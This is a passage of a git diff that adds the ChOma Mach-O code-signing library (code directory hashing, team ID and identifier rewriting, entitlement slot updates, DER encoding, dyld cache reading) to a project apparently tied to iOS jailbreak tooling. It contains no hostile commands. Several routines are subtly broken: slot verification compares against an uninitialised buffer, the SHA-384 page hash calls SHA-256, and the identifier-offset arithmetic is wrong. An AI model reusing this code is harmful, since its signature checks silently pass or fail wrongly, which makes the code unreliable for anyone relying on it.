!csSize) pageToReadSize = memory_stream_get_size(macho->stream) - pageToReadOffset; + else pageToReadSize = csOffset - pageToReadOffset; + } + + // Bail out when past EOF + if ((pageToReadOffset + pageToReadSize) > memory_stream_get_size(macho_get_stream(macho))) return false; + + uint8_t page[pageToReadSize]; + if (macho_read_at_offset(macho, pageToReadOffset, pageToReadSize, page) != 0) return false; + switch (codeDir->hashType) { + case CS_HASHTYPE_SHA160_160: { + CC_SHA1(page, (CC_LONG)pageToReadSize, pageHashOut); + break; + } + + case CS_HASHTYPE_SHA256_256: + case CS_HASHTYPE_SHA256_160: { + uint8_t fullHash[CC_SHA256_DIGEST_LENGTH]; + CC_SHA256(page, (CC_LONG)pageToReadSize, fullHash); + memcpy(pageHashOut, fullHash, codeDir->hashSize); + break; + } + + case CS_HASHTYPE_SHA384_384: { + uint8_t fullHash[CC_SHA384_DIGEST_LENGTH]; + CC_SHA256(page, (CC_LONG)pageToReadSize, fullHash); + memcpy(pageHashOut, fullHash, codeDir->hashSize); + break; + } + + default: { + return false; + } + } + + return true; +} + +bool csd_code_directory_verify_code_slot(CS_DecodedBlob *codeDirBlob, MachO *macho, int slot) +{ + CS_CodeDirectory codeDir; + csd_blob_read(codeDirBlob, 0, sizeof(codeDir), &codeDir); + CODE_DIRECTORY_APPLY_BYTE_ORDER(&codeDir, BIG_TO_HOST_APPLIER); + + uint8_t slotHash[codeDir.hashSize]; + csd_code_directory_read_slot_hash(codeDirBlob, macho, slot, slotHash); + + uint8_t pageHash[codeDir.hashSize]; + if (!code_directory_calculate_page_hash(&codeDir, macho, slot, slotHash)) return false; + + return (memcmp(slotHash, pageHash, codeDir.hashSize) == 0); +} + +bool csd_code_directory_verify_code_slots(CS_DecodedBlob *codeDirBlob, MachO *macho, int slot) +{ + CS_CodeDirectory codeDir; + csd_blob_read(codeDirBlob, 0, sizeof(codeDir), &codeDir); + CODE_DIRECTORY_APPLY_BYTE_ORDER(&codeDir, HOST_TO_BIG_APPLIER); + + for (int i = 0; i < codeDir.nCodeSlots; i++) { + if (!csd_code_directory_verify_code_slot(codeDirBlob, macho, i)) { + return false; + } + } + return true; +} + +const char *cs_hash_type_to_string(int hashType) +{ + switch (hashType) { + case CS_HASHTYPE_SHA160_160: + return "SHA-1 160"; + case CS_HASHTYPE_SHA256_256: + return "SHA-2 256"; + case CS_HASHTYPE_SHA256_160: + return "SHA-2 160"; + case CS_HASHTYPE_SHA384_384: + return "SHA-3 384"; + default: + return "Unknown blob type"; + } +} + +int cs_hash_type_to_length(int hashType) +{ + switch (hashType) { + case CS_HASHTYPE_SHA160_160: + return 0x14; + case CS_HASHTYPE_SHA256_256: + case CS_HASHTYPE_SHA256_160: + return 0x20; + case CS_HASHTYPE_SHA384_384: + return 0x30; + default: + return 0; + } +} + +int cs_code_directory_get_size(int version) { + switch (version) { + case 0x20600: return 0x70; + case 0x20500: return 0x60; + case 0x20400: return 0x58; + case 0x20300: return 0x40; + // 0x20200 matches ChOma's CS_CodeDirectory structure + default: return 0x34; + } +} + +const char* cs_slot_to_string(int slot) +{ + switch (slot) { + case -11: + return "Loaded library launch constraints hash"; + case -10: + return "Responsible process launch constraints hash"; + case -9: + return "Parent process launch constraints hash"; + case -8: + return "Process launch constraints hash"; + case -7: + return "DER entitlements hash"; + case -6: + return "DMG signature hash"; + case -5: + return "Entitlements hash"; + case -4: + return "App-specific hash"; + case -3: + return "CodeResources hash"; + case -2: + return "Requirements blob hash"; + case -1: + return "Info.plist hash"; + default: + return "Page hash"; + } +} + +char *csd_code_directory_copy_identifier(CS_DecodedBlob *codeDirBlob, uint32_t *offsetOut) +{ + CS_CodeDirectory codeDir; + csd_blob_read(codeDirBlob, 0, sizeof(codeDir), &codeDir); + CODE_DIRECTORY_APPLY_BYTE_ORDER(&codeDir, BIG_TO_HOST_APPLIER); + + if (codeDir.identOffset == 0) return NULL; + + char *identity = NULL; + csd_blob_read_string(codeDirBlob, codeDir.identOffset, &identity); + if (offsetOut) *offsetOut = codeDir.identOffset; + return identity; +} + +char *csd_code_directory_copy_team_id(CS_DecodedBlob *codeDirBlob, uint32_t *offsetOut) +{ + CS_CodeDirectory codeDir; + csd_blob_read(codeDirBlob, 0, sizeof(codeDir), &codeDir); + CODE_DIRECTORY_APPLY_BYTE_ORDER(&codeDir, BIG_TO_HOST_APPLIER); + + if (codeDir.version < 0x20200) return NULL; + if (codeDir.teamOffset == 0) return NULL; + + char *teamId = NULL; + csd_blob_read_string(codeDirBlob, codeDir.teamOffset, &teamId); + if (offsetOut) *offsetOut = codeDir.teamOffset; + return teamId; +} + +int csd_code_directory_set_team_id(CS_DecodedBlob *codeDirBlob, char *newTeamID) +{ + CS_CodeDirectory codeDir; + csd_blob_read(codeDirBlob, 0, sizeof(codeDir), &codeDir); + CODE_DIRECTORY_APPLY_BYTE_ORDER(&codeDir, BIG_TO_HOST_APPLIER); + + size_t newTeamIDSize = strlen(newTeamID)+1; + + int32_t shift = 0; + uint32_t initalTeamOffset = 0; + char *previousTeamID = csd_code_directory_copy_team_id(codeDirBlob, &initalTeamOffset); + if (previousTeamID) { + // If there is already a TeamID, delete it + uint32_t previousTeamIDSize = strlen(previousTeamID)+1; + csd_blob_delete(codeDirBlob, initalTeamOffset, previousTeamIDSize); + shift -= previousTeamIDSize; + free(previousTeamID); + } + + if (initalTeamOffset) { + codeDir.teamOffset = initalTeamOffset; + } + else { + uint32_t identityOffset = 0; + char *identity = csd_code_directory_copy_identifier(codeDirBlob, &identityOffset); + if (!identity) { + codeDir.teamOffset = cs_code_directory_get_size(codeDir.version); + } else { + codeDir.teamOffset = identityOffset + strlen(identity) + 1; + free(identity); + } + } + + // Insert new team ID + csd_blob_insert(codeDirBlob, codeDir.teamOffset, newTeamIDSize, newTeamID); + shift += newTeamIDSize; + + // Shift other offsets as needed (Since we inserted data in the middle) + if (codeDir.hashOffset != 0 && codeDir.hashOffset > initalTeamOffset) { + codeDir.hashOffset += shift; + } + if (codeDir.scatterOffset != 0 && codeDir.scatterOffset > initalTeamOffset) { + codeDir.scatterOffset += shift; + } + + // Write changes to codeDir struct + CODE_DIRECTORY_APPLY_BYTE_ORDER(&codeDir, HOST_TO_BIG_APPLIER); + csd_blob_write(codeDirBlob, 0, sizeof(codeDir), &codeDir); + return 0; +} + +int csd_code_directory_set_identifier(CS_DecodedBlob *codeDirBlob, char *newIdentifier) +{ + CS_CodeDirectory codeDir; + csd_blob_read(codeDirBlob, 0, sizeof(codeDir), &codeDir); + CODE_DIRECTORY_APPLY_BYTE_ORDER(&codeDir, BIG_TO_HOST_APPLIER); + + size_t newIdentifierSize = strlen(newIdentifier)+1; + + int32_t shift = 0; + uint32_t initialIDOffset = 0; + char *previousIdentifier = csd_code_directory_copy_identifier(codeDirBlob, &initialIDOffset); + if (previousIdentifier) { + uint32_t previousIdentifierSize = strlen(previousIdentifier)+1; + csd_blob_delete(codeDirBlob, initialIDOffset, previousIdentifierSize); + shift -= previousIdentifierSize; + free(previousIdentifier); + } + + if (initialIDOffset) { + codeDir.identOffset = initialIDOffset; + } + else { + uint32_t teamOffset = 0; + char *team = csd_code_directory_copy_team_id(codeDirBlob, &teamOffset); + if (!team) { + codeDir.identOffset = cs_code_directory_get_size(codeDir.version); + } else { + codeDir.identOffset = teamOffset - strlen(team) + 1; + free(team); + } + } + + // Insert new identifier + csd_blob_insert(codeDirBlob, codeDir.identOffset, newIdentifierSize, newIdentifier); + shift += newIdentifierSize; + + // Shift other offsets as needed (Since we inserted data in the middle) + if (codeDir.teamOffset != 0 && codeDir.teamOffset > initialIDOffset) { + codeDir.teamOffset += shift; + } + if (codeDir.hashOffset != 0 && codeDir.hashOffset > initialIDOffset) { + codeDir.hashOffset += shift; + } + if (codeDir.scatterOffset != 0 && codeDir.scatterOffset > initialIDOffset) { + codeDir.scatterOffset += shift; + } + + // Write changes to codeDir struct + CODE_DIRECTORY_APPLY_BYTE_ORDER(&codeDir, HOST_TO_BIG_APPLIER); + csd_blob_write(codeDirBlob, 0, sizeof(codeDir), &codeDir); + return 0; +} + +uint32_t csd_code_directory_get_flags(CS_DecodedBlob *codeDirBlob) +{ + uint32_t flags = 0; + csd_blob_read(codeDirBlob, offsetof(CS_CodeDirectory, flags), sizeof(flags), &flags); + return BIG_TO_HOST(flags); +} + +void csd_code_directory_set_flags(CS_DecodedBlob *codeDirBlob, uint32_t flags) +{ + flags = HOST_TO_BIG(flags); + csd_blob_write(codeDirBlob, offsetof(CS_CodeDirectory, flags), sizeof(flags), &flags); +} + +uint8_t csd_code_directory_get_hash_type(CS_DecodedBlob *codeDirBlob) +{ + uint8_t hashType = 0; + csd_blob_read(codeDirBlob, offsetof(CS_CodeDirectory, hashType), sizeof(hashType), &hashType); + return hashType; +} + +void csd_code_directory_set_hash_type(CS_DecodedBlob *codeDirBlob, uint8_t hashType) +{ + csd_blob_write(codeDirBlob, offsetof(CS_CodeDirectory, hashType), sizeof(hashType), &hashType); +} + +unsigned csd_code_directory_calculate_rank(CS_DecodedBlob *codeDirBlob) +{ + // The supported hash types, ranked from least to most preferred. From XNU's + // bsd/kern/ubc_subr.c. + static uint32_t rankedHashTypes[] = { + CS_HASHTYPE_SHA160_160, + CS_HASHTYPE_SHA256_160, + CS_HASHTYPE_SHA256_256, + CS_HASHTYPE_SHA384_384, + }; + // Define the rank of the code directory as its index in the array plus one. + uint8_t type = csd_code_directory_get_hash_type(codeDirBlob); + for (unsigned i = 0; i < sizeof(rankedHashTypes) / sizeof(rankedHashTypes[0]); i++) { + if (rankedHashTypes[i] == type) { + return (i + 1); + } + } + return 0; +} + +int csd_code_directory_calculate_hash(CS_DecodedBlob *codeDirBlob, void *cdhashOut) +{ + if (!codeDirBlob || !cdhashOut) return -1; + + // Longest possible buffer, will cut it off at the end as cdhash size is fixed + uint8_t cdhash[CC_SHA384_DIGEST_LENGTH]; + + size_t cdBlobSize = csd_blob_get_size(codeDirBlob); + uint8_t *cdBlob = memory_stream_get_raw_pointer(codeDirBlob->stream); + + switch (csd_code_directory_get_hash_type(codeDirBlob)) { + case CS_HASHTYPE_SHA160_160: { + CC_SHA1(cdBlob, (CC_LONG)cdBlobSize, cdhash); + break; + } + + case CS_HASHTYPE_SHA256_256: + case CS_HASHTYPE_SHA256_160: { + CC_SHA256(cdBlob, (CC_LONG)cdBlobSize, cdhash); + break; + } + + case CS_HASHTYPE_SHA384_384: { + CC_SHA384(cdBlob, (CC_LONG)cdBlobSize, cdhash); + break; + } + + default: + return -1; + } + + memcpy(cdhashOut, cdhash, CS_CDHASH_LEN); + return 0; +} + +int csd_code_directory_print_content(CS_DecodedBlob *codeDirBlob, MachO *macho, bool printSlots, bool verifySlots) +{ + CS_CodeDirectory codeDir; + csd_blob_read(codeDirBlob, 0, sizeof(codeDir), &codeDir); + CODE_DIRECTORY_APPLY_BYTE_ORDER(&codeDir, BIG_TO_HOST_APPLIER); + + // Version 0x20000 + printf("Code directory:\n"); + printf("\tMagic: 0x%X\n", codeDir.magic); + printf("\tLength: 0x%x\n", codeDir.length); + printf("\tVersion: 0x%x\n", codeDir.version); + printf("\tFlags: 0x%x\n", codeDir.flags); + printf("\tHash offset: 0x%x\n", codeDir.hashOffset); + + uint32_t identifierOffset = 0; + char *identifier = csd_code_directory_copy_identifier(codeDirBlob, &identifierOffset); + if (identifier) { + printf("\tIdentifier: \"%s\" (@ 0x%x)\n", identifier, identifierOffset); + free(identifier); + } + + printf("\tNumber of special slots: %u\n", codeDir.nSpecialSlots); + printf("\tNumber of code slots: %u\n", codeDir.nCodeSlots); + printf("\tCode limit: 0x%x\n", codeDir.codeLimit); + printf("\tHash size: 0x%x\n", codeDir.hashSize); + printf("\tHash type: %s\n", cs_hash_type_to_string(codeDir.hashType)); + printf("\tPlatform: %d\n", codeDir.platform); + printf("\tPage size: 0x%x\n", codeDir.pageSize); + + // Version 0x20100 + if (codeDir.version >= 0x20100) { + printf("\tScatter offset: 0x%x\n", codeDir.scatterOffset); + uint32_t teamOffset = 0; + char *teamId = csd_code_directory_copy_team_id(codeDirBlob, &teamOffset); + if (teamId) { + printf("\tTeam ID: \"%s\" (@ 0x%x)\n", teamId, teamOffset); + free(teamId); + } + } + + printf("\n"); + bool codeSlotsCorrect = true; + bool needsNewline = false; + + for (int64_t i = -((int64_t)codeDir.nSpecialSlots); i < (int64_t)codeDir.nCodeSlots; i++) { + // Read slot + uint8_t slotHash[codeDir.hashSize]; + csd_code_directory_read_slot_hash(codeDirBlob, macho, i, slotHash); + if (printSlots || verifySlots) { + // Print the slot number + needsNewline = true; + printf("%s%lld: ", i < 0 ? "" : " ", i); + + print_hash(slotHash, codeDir.hashSize); + + // Check if hash is just zeroes + bool isZero = true; + for (int j = 0; j < codeDir.hashSize; j++) { + if (slotHash[j] != 0) { + isZero = false; + break; + } + } + + // TrollStore TODO: Validate that hashes are correct + // validateHashes(macho, specialSlots, codeDir.nSpecialSlots * codeDir.hashSize); + // Don't print the slot name if the hash is just zeroes + if (!isZero) { + // Print the special slot name (if applicable) + printf(" (%s)", cs_slot_to_string(i)); + } + } + + if (verifySlots && i >= 0) { + uint8_t pageHash[codeDir.hashSize]; + needsNewline = true; + bool correct = false; + bool calcWorked = code_directory_calculate_page_hash(&codeDir, macho, i, pageHash); + if (calcWorked) { + correct = (memcmp(slotHash, pageHash, codeDir.hashSize) == 0); + } + + if (correct) { + printf(" ✅"); + } + else { + codeSlotsCorrect = false; + if (!calcWorked) { + printf(" ❌ (unable to calculate, probably EOF?)"); + } + else { + printf(" ❌ (should be: "); + print_hash(pageHash, codeDir.hashSize); + printf(")"); + } + } + } + + if (needsNewline) printf("\n"); + needsNewline = false; + } + if (verifySlots) { + if (codeSlotsCorrect) { + printf("All page hashes are valid!\n"); + } + else { + printf("Some page hashes are invalid!\n"); + } + } + + char cdhash[CS_CDHASH_LEN]; + if (csd_code_directory_calculate_hash(codeDirBlob, cdhash) == 0) { + printf(" CDHash: "); + print_hash((uint8_t *)cdhash, sizeof(cdhash)); + printf("\n"); + } + + return 0; +} + +int csd_code_directory_update_special_slots(CS_DecodedBlob *codeDirBlob, CS_DecodedBlob *xmlEntitlements, CS_DecodedBlob *derEntitlements, CS_DecodedBlob *requirements) { + CS_CodeDirectory codeDir; + csd_blob_read(codeDirBlob, 0, sizeof(CS_CodeDirectory), &codeDir); + CODE_DIRECTORY_APPLY_BYTE_ORDER(&codeDir, BIG_TO_HOST_APPLIER); + + int hashLen = 0; + unsigned char *(*hashFunc)(const void *data, CC_LONG len, unsigned char *md) = NULL; + + switch (codeDir.hashType) { + case CS_HASHTYPE_SHA160_160: + hashLen = CC_SHA1_DIGEST_LENGTH; + hashFunc = CC_SHA1; + break; + case CS_HASHTYPE_SHA256_160: + case CS_HASHTYPE_SHA256_256: + hashLen = CC_SHA256_DIGEST_LENGTH; + hashFunc = CC_SHA256; + break; + case CS_HASHTYPE_SHA384_384: + hashLen = CC_SHA384_DIGEST_LENGTH; + hashFunc = CC_SHA384; + break; + default: + break; + } + if (!hashLen) { + printf("Error: unknown hash type (%d)\n", codeDir.hashType); + } + + for (int i = 1; i <= codeDir.nSpecialSlots; i++) { + uint8_t newHash[hashLen]; + uint32_t hashOffset = codeDir.hashOffset - (i * codeDir.hashSize); + if (xmlEntitlements && i == CSSLOT_ENTITLEMENTS) { + // XXX: memory_stream_get_raw_pointer only works for buffered streams + hashFunc(memory_stream_get_raw_pointer(xmlEntitlements->stream), memory_stream_get_size(xmlEntitlements->stream), newHash); + csd_blob_write(codeDirBlob, hashOffset, codeDir.hashSize, newHash); + } else if (derEntitlements && i == CSSLOT_DER_ENTITLEMENTS) { + hashFunc(memory_stream_get_raw_pointer(derEntitlements->stream), memory_stream_get_size(derEntitlements->stream), newHash); + csd_blob_write(codeDirBlob, hashOffset, codeDir.hashSize, newHash); + } else if (requirements && i == CSSLOT_REQUIREMENTS) { + hashFunc(memory_stream_get_raw_pointer(requirements->stream), memory_stream_get_size(requirements->stream), newHash); + csd_blob_write(codeDirBlob, hashOffset, codeDir.hashSize, newHash); + } + } + + return 0; +} + +int csd_code_directory_update_code_slots(CS_DecodedBlob *codeDirBlob, MachO *macho) +{ + CS_CodeDirectory codeDir; + csd_blob_read(codeDirBlob, 0, sizeof(CS_CodeDirectory), &codeDir); + CODE_DIRECTORY_APPLY_BYTE_ORDER(&codeDir, BIG_TO_HOST_APPLIER); + + // since this function is only for updating the hashes + // we make the assumption here that the nPages of the existing code directory is correct + // TODO: maybe check that nCodeSlots lines up with what we expect + + for (uint32_t slotIdx = 0; slotIdx < codeDir.nCodeSlots; slotIdx++) { + // Calculate hash + uint8_t pageHash[codeDir.hashSize]; + if (!code_directory_calculate_page_hash(&codeDir, macho, slotIdx, pageHash)) { + return -1; + } + + // Write hash to CodeDirectory + uint32_t offsetOfBlobToReplace = codeDir.hashOffset + (slotIdx * codeDir.hashSize); + csd_blob_write(codeDirBlob, offsetOfBlobToReplace, codeDir.hashSize, pageHash); + } + + return 0; +} + +CS_DecodedBlob *csd_code_directory_init(MachO *macho, int hashType, bool alternate) { + CS_CodeDirectory newCodeDir = { 0 }; + memset(&newCodeDir, 0, sizeof(CS_CodeDirectory)); + newCodeDir.magic = CSMAGIC_CODEDIRECTORY; + newCodeDir.version = 0x20200; + + // Default values + newCodeDir.nSpecialSlots = 7; // Only go down to DER entitlements hash + newCodeDir.hashType = hashType; + newCodeDir.hashSize = cs_hash_type_to_length(hashType); + newCodeDir.pageSize = 0xC; // 0x4000 + newCodeDir.hashOffset = sizeof(CS_CodeDirectory) + (newCodeDir.nSpecialSlots * newCodeDir.hashSize); + + newCodeDir.nCodeSlots = (int)(align_to_size(memory_stream_get_size(macho->stream), 0x1000) / 0x1000); + + // Code limit + // This is everything up to the FADE0CC0 magic + + CS_DecodedBlob *blob = malloc(sizeof(CS_DecodedBlob)); + blob->type = alternate ? CSSLOT_ALTERNATE_CODEDIRECTORIES : CSSLOT_CODEDIRECTORY; + + int finalLength = sizeof(CS_CodeDirectory) + (newCodeDir.nSpecialSlots * newCodeDir.hashSize) + (newCodeDir.nCodeSlots * newCodeDir.hashSize); + newCodeDir.length = finalLength; + CODE_DIRECTORY_APPLY_BYTE_ORDER(&newCodeDir, HOST_TO_BIG_APPLIER); + void *buffer = malloc(finalLength); + memset(buffer, 0, finalLength); + memcpy(buffer, &newCodeDir, sizeof(CS_CodeDirectory)); + + blob->stream = buffered_stream_init_from_buffer(buffer, finalLength, BUFFERED_STREAM_FLAG_AUTO_EXPAND); + + return blob; +} diff --git a/XPF/external/ChOma/src/CodeDirectory.h b/XPF/external/ChOma/src/CodeDirectory.h new file mode 100644 index 0000000..1da8ccc --- /dev/null +++ b/XPF/external/ChOma/src/CodeDirectory.h @@ -0,0 +1,66 @@ +#ifndef CODE_DIRECTORY_H +#define CODE_DIRECTORY_H + +#include +#include +#include + +#include "MachO.h" +#include "CSBlob.h" +#include "Fat.h" +#include "MachOByteOrder.h" +#include "MachOLoadCommand.h" +#include "MemoryStream.h" + +// Code directory blob header +typedef struct __CodeDirectory { + uint32_t magic; + uint32_t length; + uint32_t version; + uint32_t flags; + uint32_t hashOffset; + uint32_t identOffset; + uint32_t nSpecialSlots; + uint32_t nCodeSlots; + uint32_t codeLimit; + uint8_t hashSize; + uint8_t hashType; + uint8_t platform; + uint8_t pageSize; + uint32_t spare2; + + /* Version 0x20100 */ + uint32_t scatterOffset; + + /* Version 0x20200 */ + uint32_t teamOffset; +} CS_CodeDirectory +__attribute__ ((aligned(1))); + +#define CS_CDHASH_LEN 20 +typedef uint8_t cdhash_t[CS_CDHASH_LEN]; +void print_cdhash(cdhash_t cdhash); + +enum CS_HashType { + CS_HASHTYPE_SHA160_160 = 1, + CS_HASHTYPE_SHA256_256 = 2, + CS_HASHTYPE_SHA256_160 = 3, + CS_HASHTYPE_SHA384_384 = 4, +}; + +char *csd_code_directory_copy_identifier(CS_DecodedBlob *codeDirBlob, uint32_t *offsetOut); +char *csd_code_directory_copy_team_id(CS_DecodedBlob *codeDirBlob, uint32_t *offsetOut); +int csd_code_directory_set_team_id(CS_DecodedBlob *codeDirBlob, char *newTeamID); +int csd_code_directory_set_identifier(CS_DecodedBlob *codeDirBlob, char *newIdentifier); +uint32_t csd_code_directory_get_flags(CS_DecodedBlob *codeDirBlob); +void csd_code_directory_set_flags(CS_DecodedBlob *codeDirBlob, uint32_t flags); +uint8_t csd_code_directory_get_hash_type(CS_DecodedBlob *codeDirBlob); +void csd_code_directory_set_hash_type(CS_DecodedBlob *codeDirBlob, uint8_t hashType); +unsigned csd_code_directory_calculate_rank(CS_DecodedBlob *codeDirBlob); +int csd_code_directory_calculate_hash(CS_DecodedBlob *codeDirBlob, void *cdhashOut); +int csd_code_directory_print_content(CS_DecodedBlob *codeDirBlob, MachO *macho, bool printSlots, bool verifySlots); +int csd_code_directory_update_special_slots(CS_DecodedBlob *codeDirBlob, CS_DecodedBlob *xmlEntitlements, CS_DecodedBlob *derEntitlements, CS_DecodedBlob *requirements); +int csd_code_directory_update_code_slots(CS_DecodedBlob *codeDirBlob, MachO *macho); +CS_DecodedBlob *csd_code_directory_init(MachO *macho, int hashType, bool alternate); + +#endif // CODE_DIRECTORY_H \ No newline at end of file diff --git a/XPF/external/ChOma/src/DER.c b/XPF/external/ChOma/src/DER.c new file mode 100644 index 0000000..1c43e0d --- /dev/null +++ b/XPF/external/ChOma/src/DER.c @@ -0,0 +1,232 @@ +#include +#include +#include +#include +#include + +#include "MachOByteOrder.h" +#include "DER.h" + +#define ASN1_CONSTRUCTED 0x20 + +#define ASN1_SEQUENCE 0x10 +#define ASN1_SET 0x11 + +#define ASN1_BOOLEAN 0x01 +#define ASN1_INTEGER 0x02 +#define ASN1_UTF8_STRING 0x0C + +// DER entitlements are a SET of SEQUENCE serialisations, each sequence being an entitlement + +void der_free_encoded_item(DEREncodedItem *item) { + free(item->data); + free(item); +} + +DEREncodedItem *der_encode_length(uint32_t length) { + if (length <= 0x7f) { + uint8_t *data = malloc(1); + if (data == NULL) { + return NULL; + } + + data[0] = length; + + DEREncodedItem *item = malloc(sizeof(DEREncodedItem)); + if (item == NULL) { + return NULL; + } + + item->data = data; + item->length = 1; + + return item; + } else { + uint32_t len = length; + uint32_t lenBytes = 0; + while (len) { + len >>= 8; + lenBytes++; + } + + uint8_t *data = malloc(lenBytes + 1); + if (data == NULL) { + return NULL; + } + + data[0] = 0x80 | lenBytes; + for (uint32_t i = 1; i <= lenBytes; i++) { + data[i] = (length >> (8 * (lenBytes - i))) & 0xff; + } + + DEREncodedItem *item = malloc(sizeof(DEREncodedItem)); + if (item == NULL) { + free(data); + return NULL; + } + + item->data = data; + item->length = lenBytes + 1; + + return item; + } +} + +DEREncodedItem *der_encode_item(DERItem *item) { + DEREncodedItem *length = der_encode_length(item->length); + if (length->data == NULL) { + return NULL; + } + + uint32_t totalLength = 1 + length->length + item->length; + uint8_t *data = malloc(totalLength); + if (data == NULL) { + der_free_encoded_item(length); + return NULL; + } + + data[0] = item->tag; + memcpy(&data[1], length->data, length->length); + memcpy(&data[1 + length->length], item->data, item->length); + + DEREncodedItem *encodedItem = malloc(sizeof(DEREncodedItem)); + if (encodedItem == NULL) { + der_free_encoded_item(length); + free(data); + return NULL; + } + + encodedItem->data = data; + encodedItem->length = totalLength; + + der_free_encoded_item(length); + + return encodedItem; +} + +DEREncodedItem *der_encode_boolean(bool value) { + DERItem item; + item.tag = ASN1_BOOLEAN; + item.data = malloc(1); + if (item.data == NULL) { + return NULL; + } + + item.data[0] = value; + item.length = 1; + + return der_encode_item(&item); +} + +DEREncodedItem *der_encode_integer(uint32_t value) { + DERItem item; + item.tag = ASN1_INTEGER; + item.data = malloc(sizeof(uint32_t)); + if (item.data == NULL) { + return NULL; + } + + // Convert to big-endian + value = HOST_TO_BIG(value); + memcpy(item.data, &value, sizeof(uint32_t)); + item.length = 4; + + return der_encode_item(&item); +} + +DEREncodedItem *der_encode_utf8_string(const char *string) { + DERItem item; + item.tag = ASN1_UTF8_STRING; + item.data = (uint8_t *)string; + item.length = strlen(string); + + return der_encode_item(&item); +} + +DEREncodedItem *der_encode_sequence(DEREncodedItem *items[], uint32_t nItems) { + uint8_t tag = ASN1_SEQUENCE | ASN1_CONSTRUCTED; + + uint32_t totalLength = 0; + for (uint32_t i = 0; i < nItems; i++) { + totalLength += items[i]->length; + } + + DEREncodedItem *length = der_encode_length(totalLength); + if (length == NULL) { + return NULL; + } + + uint32_t totalDataLength = 1 + length->length + totalLength; + + uint8_t *data = malloc(totalDataLength); + if (data == NULL) { + der_free_encoded_item(length); + return NULL; + } + + data[0] = tag; + memcpy(&data[1], length->data, length->length); + uint32_t offset = 1 + length->length; + for (uint32_t i = 0; i < nItems; i++) { + memcpy(&data[offset], items[i]->data, items[i]->length); + offset += items[i]->length; + } + + DEREncodedItem *encodedItem = malloc(sizeof(DEREncodedItem)); + if (encodedItem == NULL) { + der_free_encoded_item(length); + free(data); + return NULL; + } + + encodedItem->data = data; + encodedItem->length = totalDataLength; + + der_free_encoded_item(length); + + return encodedItem; +} + +DEREncodedItem *der_encode_set(DEREncodedItem *items[], uint32_t nItems) { + uint8_t tag = ASN1_SET | ASN1_CONSTRUCTED; + + uint32_t totalLength = 0; + for (uint32_t i = 0; i < nItems; i++) { + totalLength += items[i]->length; + } + + DEREncodedItem *length = der_encode_length(totalLength); + if (length == NULL) { + return NULL; + } + + uint32_t totalDataLength = 1 + length->length + totalLength; + + uint8_t *data = malloc(totalDataLength); + if (data == NULL) { + der_free_encoded_item(length); + return NULL; + } + + data[0] = tag; + memcpy(&data[1], length->data, length->length); + uint32_t offset = 1 + length->length; + for (uint32_t i = 0; i < nItems; i++) { + memcpy(&data[offset], items[i]->data, items[i]->length); + offset += items[i]->length; + } + + DEREncodedItem *encodedItem = malloc(sizeof(DEREncodedItem)); + if (encodedItem == NULL) { + der_free_encoded_item(length); + free(data); + return NULL; + } + + encodedItem->data = data; + encodedItem->length = totalDataLength; + + der_free_encoded_item(length); + + return encodedItem; +} \ No newline at end of file diff --git a/XPF/external/ChOma/src/DER.h b/XPF/external/ChOma/src/DER.h new file mode 100644 index 0000000..e69e3be --- /dev/null +++ b/XPF/external/ChOma/src/DER.h @@ -0,0 +1,24 @@ +#ifndef DER_H +#define DER_H + +#include + +typedef struct { + uint8_t tag; + uint32_t length; + uint8_t *data; +} DERItem; + +typedef struct { + uint8_t *data; + uint32_t length; +} DEREncodedItem; + +void der_free_encoded_item(DEREncodedItem *item); +DEREncodedItem *der_encode_boolean(bool value); +DEREncodedItem *der_encode_integer(uint32_t value); +DEREncodedItem *der_encode_utf8_string(const char *string); +DEREncodedItem *der_encode_sequence(DEREncodedItem *items[], uint32_t nItems); +DEREncodedItem *der_encode_set(DEREncodedItem *items[], uint32_t nItems); + +#endif // DER_H \ No newline at end of file diff --git a/XPF/external/ChOma/src/DyldSharedCache.c b/XPF/external/ChOma/src/DyldSharedCache.c new file mode 100644 index 0000000..ac81bd3 --- /dev/null +++ b/XPF/external/ChOma/src/DyldSharedCache.c @@ -0,0 +1,998 @@ +#include "DyldSharedCache.h" +#include +#include +#include +#include +#include +#include +#include "BufferedStream.h" +#include "Util.h" +#include "MachO.h" +#include "Fat.h" + +int string_comparator(void const *a, void const *b) { + char const *aa = *(char const **)a; + char const *bb = *(char const **)b; + + int r = strcmp(aa, bb); + return r; +} + +void dsc_enumerate_mappings(DyldSharedCache *sharedCache, void (^enumeratorBlock)(DyldSharedCacheMapping *mapping, DyldSharedCacheFile *sourceFile, bool *stop)) +{ + for (unsigned i = 0; i < sharedCache->mappingCount; i++) { + DyldSharedCacheMapping *mapping = &sharedCache->mappings[i]; + bool stop = false; + enumeratorBlock(mapping, mapping->file, &stop); + if (stop) break; + } +} + +DyldSharedCacheMapping *dsc_lookup_mapping(DyldSharedCache *sharedCache, uint64_t vmaddr, uint64_t size) +{ + __block DyldSharedCacheMapping *mappingOut = NULL; + + dsc_enumerate_mappings(sharedCache, ^(DyldSharedCacheMapping *mapping, DyldSharedCacheFile *sourceFile, bool *stop) { + uint64_t mappingEndAddr = mapping->vmaddr + mapping->size; + uint64_t searchEndAddr = vmaddr + size; + if (size != 0) searchEndAddr--; + if (vmaddr >= mapping->vmaddr && (searchEndAddr < mappingEndAddr)) { + mappingOut = mapping; + *stop = true; + } + }); + + return mappingOut; +} + +void *dsc_find_buffer(DyldSharedCache *sharedCache, uint64_t vmaddr, uint64_t size) +{ + DyldSharedCacheMapping *mapping = dsc_lookup_mapping(sharedCache, vmaddr, size); + if (mapping) { + return (void *)((uintptr_t)mapping->ptr + (vmaddr - mapping->vmaddr)); + } + + return NULL; +} + +int dsc_read_from_vmaddr(DyldSharedCache *sharedCache, uint64_t vmaddr, size_t size, void *outBuf) +{ + uint64_t startAddr = vmaddr; + uint64_t endAddr = startAddr + size; + uint64_t curAddr = startAddr; + + while (curAddr < endAddr) { + DyldSharedCacheMapping *mapping = dsc_lookup_mapping(sharedCache, curAddr, 0); + if (!mapping) return -1; + + uint64_t startOffset = curAddr - mapping->vmaddr; + uint64_t mappingRemaining = mapping->size - startOffset; + uint64_t copySize = endAddr - curAddr; + if (copySize > mappingRemaining) copySize = mappingRemaining; + + memcpy((void *)((intptr_t)outBuf + (curAddr - startAddr)), (void *)((intptr_t)mapping->ptr + startOffset), copySize); + curAddr += copySize; + } + + return 0; +} + +int dsc_read_string_from_vmaddr(DyldSharedCache *sharedCache, uint64_t vmaddr, char **outString) +{ + uint64_t len = 0; + char c = 0; + do { + if (dsc_read_from_vmaddr(sharedCache, vmaddr + (len++), sizeof(c), &c) != 0) return -1; + } while (c != 0); + + *outString = malloc(len); + return dsc_read_from_vmaddr(sharedCache, vmaddr, 